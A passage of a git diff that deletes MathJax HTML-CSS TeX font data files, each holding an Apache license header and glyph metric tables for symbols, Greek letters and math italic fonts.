-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{8407:[714,-516,0,29,471]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/CombDiactForSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeneralPunctuation.js
deleted file mode 100644
index c0ebe8d2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{8198:[0,0,167,0,0],8211:[285,-248,500,0,499],8212:[285,-248,1000,0,999],8216:[694,-379,278,64,198],8217:[694,-379,278,78,212],8220:[694,-379,500,128,466],8221:[694,-379,500,34,372],8224:[705,217,444,55,390],8225:[705,206,444,55,389],8230:[120,0,1172,78,1093],8242:[560,-43,275,30,262]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeometricShapes.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeometricShapes.js
deleted file mode 100644
index 129fb9dd..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{9651:[716,0,889,59,828],9657:[505,5,500,26,474],9661:[500,215,889,59,828],9667:[505,5,500,26,473],9711:[715,215,1000,56,944]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/GeometricShapes.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GreekAndCoptic.js
deleted file mode 100644
index 7683874d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{915:[681,0,625,25,582],916:[716,0,833,46,786],920:[705,22,778,56,722],923:[717,0,694,32,661],926:[677,0,667,42,624],928:[680,0,750,25,724],931:[683,1,722,55,666],933:[705,0,778,55,722],934:[683,0,722,56,665],936:[683,0,778,54,722],937:[704,1,722,44,677]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Latin1Supplement.js
deleted file mode 100644
index 098947cd..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{160:[0,0,250,0,0],172:[356,-89,667,55,611],177:[666,0,778,55,722],215:[491,-9,778,147,631],247:[537,36,778,55,721]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedA.js
deleted file mode 100644
index 76eb5253..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{305:[442,0,278,26,255]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedB.js
deleted file mode 100644
index c4aeb78d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{567:[442,205,306,-55,218]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/LatinExtendedB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LetterlikeSymbols.js
deleted file mode 100644
index 5dd18432..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{8463:[695,13,540,42,562],8465:[705,11,722,54,693],8467:[706,20,417,6,398],8472:[453,216,636,67,625],8476:[717,22,722,40,716],8501:[694,1,611,54,556]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Main.js
deleted file mode 100644
index 9668542d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main={directory:"Main/Regular",family:"MathJax_Main",testString:"MathJax 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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MathOperators.js
deleted file mode 100644
index 7f54f994..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{8704:[694,22,556,0,556],8706:[715,22,531,41,566],8707:[694,0,556,55,500],8709:[772,78,500,39,460],8711:[683,33,833,46,786],8712:[541,41,667,84,584],8713:[716,215,667,84,584],8715:[541,40,667,83,582],8722:[270,-230,778,83,694],8723:[500,167,778,55,722],8725:[751,250,500,56,445],8726:[750,250,500,56,444],8727:[465,-34,500,64,435],8728:[444,-55,500,55,444],8729:[444,-55,500,55,444],8730:[800,200,833,72,853],8733:[442,11,778,56,722],8734:[442,11,1000,55,944],8736:[694,0,722,55,666],8739:[750,250,278,119,159],8741:[750,250,500,132,367],8743:[598,22,667,55,611],8744:[598,22,667,55,611],8745:[598,22,667,55,611],8746:[599,22,667,55,611],8747:[716,216,417,55,472],8764:[367,-133,778,55,722],8768:[583,83,278,55,222],8771:[464,-36,778,55,722],8773:[589,-22,1000,55,722],8776:[483,-55,778,55,722],8781:[484,-16,778,55,722],8784:[670,-133,778,55,722],8800:[716,215,778,55,722],8801:[464,-36,778,55,722],8804:[636,138,778,83,694],8805:[636,138,778,82,694],8810:[568,68,1000,56,944],8811:[567,67,1000,55,945],8826:[539,41,778,84,695],8827:[539,41,778,83,694],8834:[540,41,778,84,695],8835:[541,40,778,82,693],8838:[636,139,778,84,695],8839:[637,138,778,83,693],8846:[599,22,667,55,611],8849:[636,138,778,83,714],8850:[636,138,778,63,694],8851:[598,0,667,61,605],8852:[598,0,667,61,605],8853:[583,83,778,56,722],8854:[583,83,778,56,722],8855:[583,83,778,56,722],8856:[583,83,778,56,722],8857:[583,83,778,56,722],8866:[694,0,611,55,555],8867:[694,0,611,55,555],8868:[668,0,778,55,723],8869:[668,0,778,55,723],8872:[750,250,867,119,811],8900:[488,-12,500,12,488],8901:[310,-190,278,78,199],8902:[486,-16,500,3,497],8904:[505,6,900,25,873],8942:[900,30,278,78,199],8943:[310,-190,1172,78,1093],8945:[820,-100,1282,133,1148]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/MathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscMathSymbolsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscMathSymbolsA.js
deleted file mode 100644
index e3b8b85e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{10216:[750,250,389,110,333],10217:[750,250,389,55,278],10222:[743,242,400,100,344],10223:[743,241,400,56,301]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/MiscMathSymbolsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscSymbols.js
deleted file mode 100644
index fb025a12..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{9824:[727,131,778,55,723],9825:[716,33,778,55,723],9826:[727,163,778,55,723],9827:[726,131,778,28,750],9837:[751,22,389,54,333],9838:[734,223,389,65,324],9839:[723,223,389,54,334]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/MiscSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscTechnical.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscTechnical.js
deleted file mode 100644
index df8164f0..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{8968:[751,250,444,174,422],8969:[751,250,444,21,269],8970:[750,251,444,174,422],8971:[751,251,444,20,269],8994:[388,-122,1000,55,944],8995:[378,-134,1000,55,944],9136:[743,241,512,56,456],9137:[743,242,512,56,457]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/MiscTechnical.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SpacingModLetters.js
deleted file mode 100644
index 0c064d2c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{730:[715,-542,500,147,352]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/SpacingModLetters.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SuppMathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SuppMathOperators.js
deleted file mode 100644
index 382184b9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{10815:[684,0,750,28,721],10927:[636,138,778,83,695],10928:[636,138,778,83,694]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/SuppMathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SupplementalArrowsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SupplementalArrowsA.js
deleted file mode 100644
index 5b62fc67..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SupplementalArrowsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/SupplementalArrowsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{10229:[511,12,1609,54,1525],10230:[512,11,1638,83,1554],10231:[512,12,1859,54,1804],10232:[525,24,1609,55,1553],10233:[525,25,1638,55,1582],10234:[525,24,1858,55,1802],10236:[512,11,1638,54,1554]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/SupplementalArrowsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Math/BoldItalic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Math/BoldItalic/Main.js
deleted file mode 100644
index fb00e005..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Math/BoldItalic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Math/BoldItalic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Math-bold-italic"]={directory:"Math/BoldItalic",family:"MathJax_Math",weight:"bold",style:"italic",testString:"MathJax Math",skew:{65:0.16,66:0.0958,67:0.0958,68:0.0639,69:0.0958,70:0.0958,71:0.0958,72:0.0639,73:0.128,74:0.192,75:0.0639,76:0.0319,77:0.0958,78:0.0958,79:0.0958,80:0.0958,81:0.0958,82:0.0958,83:0.0958,84:0.0958,85:0.0319,88:0.0958,90:0.0958,99:0.0639,100:0.192,101:0.0639,102:0.192,103:0.0319,104:-0.0319,108:0.0958,111:0.0639,112:0.0958,113:0.0958,114:0.0639,115:0.0639,116:0.0958,117:0.0319,118:0.0319,119:0.0958,120:0.0319,121:0.0639,122:0.0639,915:0.0958,916:0.192,920:0.0958,923:0.192,926:0.0958,928:0.0639,931:0.0958,933:0.0639,934:0.0958,936:0.0639,937:0.0958,945:0.0319,946:0.0958,948:0.0639,949:0.0958,950:0.0958,951:0.0639,952:0.0958,953:0.0639,956:0.0319,957:0.0319,958:0.128,959:0.0639,961:0.0958,962:0.0958,964:0.0319,965:0.0319,966:0.0958,967:0.0639,968:0.128,977:0.0958,981:0.0958,1009:0.0958,1013:0.0639},32:[0,0,250,0,0],47:[711,210,894,160,733],65:[712,0,869,45,839],66:[687,0,866,43,853],67:[703,17,817,54,855],68:[686,0,938,43,914],69:[681,0,810,43,825],70:[681,0,689,43,810],71:[703,16,887,56,854],72:[686,0,982,43,1027],73:[686,0,511,30,574],74:[686,17,631,42,694],75:[686,0,971,43,1003],76:[686,0,756,43,711],77:[687,1,1142,43,1220],78:[687,1,950,43,1028],79:[703,17,837,53,815],80:[686,0,723,42,847],81:[703,194,869,53,815],82:[687,17,872,43,881],83:[703,18,693,63,714],84:[675,1,637,22,773],85:[687,16,800,63,877],86:[686,17,678,62,886],87:[687,18,1093,60,1207],88:[686,1,947,38,953],89:[686,0,675,39,876],90:[686,1,773,68,805],97:[452,8,633,37,607],98:[694,8,521,44,513],99:[451,8,513,40,509],100:[694,8,610,38,612],101:[452,8,554,42,509],102:[701,201,568,64,625],103:[452,202,545,0,540],104:[694,8,668,44,642],105:[694,8,405,24,367],106:[694,202,471,-12,456],107:[694,8,604,44,578],108:[694,8,348,27,297],109:[452,9,1032,24,1006],110:[452,9,713,24,688],111:[452,8,585,39,576],112:[452,194,601,-23,593],113:[452,194,542,38,550],114:[452,8,529,24,500],115:[452,8,531,57,476],116:[644,7,415,21,387],117:[452,8,681,24,655],118:[453,8,567,24,540],119:[454,8,831,24,796],120:[452,8,659,43,599],121:[452,202,590,24,587],122:[453,9,555,33,539],160:[0,0,250,0,0],915:[680,0,657,43,777],916:[712,0,958,59,904],920:[702,17,867,54,844],923:[712,1,806,43,776],926:[676,0,841,62,868],928:[680,0,982,43,1026],931:[686,0,885,69,902],933:[704,0,671,32,802],934:[687,0,767,29,737],936:[687,0,714,22,791],937:[703,1,879,93,886],945:[452,8,761,39,712],946:[701,195,660,28,637],947:[451,211,590,5,617],948:[725,8,522,39,513],949:[461,17,529,35,481],950:[711,202,508,48,521],951:[452,211,600,24,601],952:[702,8,562,39,554],953:[452,8,412,37,386],954:[452,8,668,45,642],955:[694,13,671,40,652],956:[452,211,708,33,682],957:[452,2,577,38,608],958:[712,201,508,23,490],959:[452,8,585,39,576],960:[445,8,682,23,674],961:[451,211,612,34,603],962:[452,105,424,33,457],963:[444,8,686,35,677],964:[444,13,521,23,610],965:[454,8,631,24,604],966:[452,216,747,52,703],967:[452,201,718,32,686],968:[694,203,758,24,732],969:[453,8,718,24,691],977:[701,9,692,23,656],981:[695,203,712,51,693],982:[444,8,975,22,961],1009:[451,195,612,75,604],1013:[445,7,483,43,450]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Math-bold-italic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Math/BoldItalic/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Math/Italic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Math/Italic/Main.js
deleted file mode 100644
index 1852066b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Math/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Math/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Math-italic"]={directory:"Math/Italic",family:"MathJax_Math",style:"italic",testString:"MathJax Math",skew:{65:0.139,66:0.0833,67:0.0833,68:0.0556,69:0.0833,70:0.0833,71:0.0833,72:0.0556,73:0.111,74:0.167,75:0.0556,76:0.0278,77:0.0833,78:0.0833,79:0.0833,80:0.0833,81:0.0833,82:0.0833,83:0.0833,84:0.0833,85:0.0278,88:0.0833,90:0.0833,99:0.0556,100:0.167,101:0.0556,102:0.167,103:0.0278,104:-0.0278,108:0.0833,111:0.0556,112:0.0833,113:0.0833,114:0.0556,115:0.0556,116:0.0833,117:0.0278,118:0.0278,119:0.0833,120:0.0278,121:0.0556,122:0.0556,915:0.0833,916:0.167,920:0.0833,923:0.167,926:0.0833,928:0.0556,931:0.0833,933:0.0556,934:0.0833,936:0.0556,937:0.0833,945:0.0278,946:0.0833,948:0.0556,949:0.0833,950:0.0833,951:0.0556,952:0.0833,953:0.0556,956:0.0278,957:0.0278,958:0.111,959:0.0556,961:0.0833,962:0.0833,964:0.0278,965:0.0278,966:0.0833,967:0.0556,968:0.111,977:0.0833,981:0.0833,1009:0.0833,1013:0.0556},32:[0,0,250,0,0],47:[716,215,778,139,638],65:[717,0,750,35,727],66:[683,0,759,35,756],67:[705,22,715,50,760],68:[683,1,828,32,804],69:[680,1,738,30,764],70:[681,0,643,30,749],71:[705,22,786,50,760],72:[683,0,831,31,889],73:[684,0,440,26,504],74:[683,22,555,57,633],75:[684,0,849,31,889],76:[684,1,681,32,647],77:[684,0,970,35,1051],78:[684,0,803,31,888],79:[704,22,763,50,740],80:[683,0,642,33,751],81:[704,195,791,50,740],82:[683,22,759,33,755],83:[705,22,613,52,645],84:[678,0,584,21,705],85:[684,22,683,59,767],86:[683,23,583,52,769],87:[684,22,944,51,1048],88:[684,1,828,25,852],89:[683,-1,581,29,763],90:[684,1,683,58,724],97:[441,10,529,33,506],98:[694,11,429,39,422],99:[442,11,433,34,429],100:[694,10,520,33,524],101:[442,11,466,39,429],102:[705,205,490,55,550],103:[443,205,477,10,480],104:[694,11,576,48,555],105:[661,11,345,21,303],106:[661,204,412,-12,403],107:[694,11,521,48,503],108:[694,11,298,38,267],109:[442,11,878,21,857],110:[442,11,600,21,580],111:[441,11,485,34,476],112:[442,194,503,-39,497],113:[442,194,446,33,460],114:[442,11,451,21,430],115:[442,10,469,53,419],116:[626,11,361,19,330],117:[442,11,572,21,551],118:[443,11,485,21,467],119:[444,11,716,20,690],120:[443,11,572,35,523],121:[442,205,490,21,496],122:[442,12,465,35,468],160:[0,0,250,0,0],915:[680,-1,615,31,721],916:[716,1,833,48,788],920:[704,22,763,50,740],923:[717,0,694,35,671],926:[678,1,742,53,777],928:[681,0,831,31,888],931:[683,0,780,58,806],933:[706,0,583,28,701],934:[683,0,667,24,643],936:[684,0,612,21,693],937:[704,0,772,80,786],945:[442,11,640,34,603],946:[706,194,566,23,573],947:[441,216,518,11,543],948:[717,10,444,36,451],949:[453,22,466,27,428],950:[704,204,438,44,472],951:[442,216,497,21,504],952:[705,10,469,35,462],953:[442,10,354,48,332],954:[442,11,576,49,554],955:[694,12,583,46,556],956:[443,216,603,22,580],957:[442,2,494,45,530],958:[704,205,438,21,443],959:[441,11,485,34,476],960:[431,11,570,19,573],961:[442,216,517,22,510],962:[442,108,363,31,405],963:[431,11,571,31,572],964:[431,13,437,17,517],965:[443,10,540,21,523],966:[442,219,654,50,618],967:[442,204,626,24,601],968:[694,205,651,21,634],969:[444,11,622,15,604],977:[705,11,591,21,563],981:[695,206,596,43,579],982:[431,10,828,19,823],1009:[442,194,517,67,510],1013:[432,11,406,39,383]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Math-italic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Math/Italic/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/BasicLatin.js
deleted file mode 100644
index 1009a9be..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
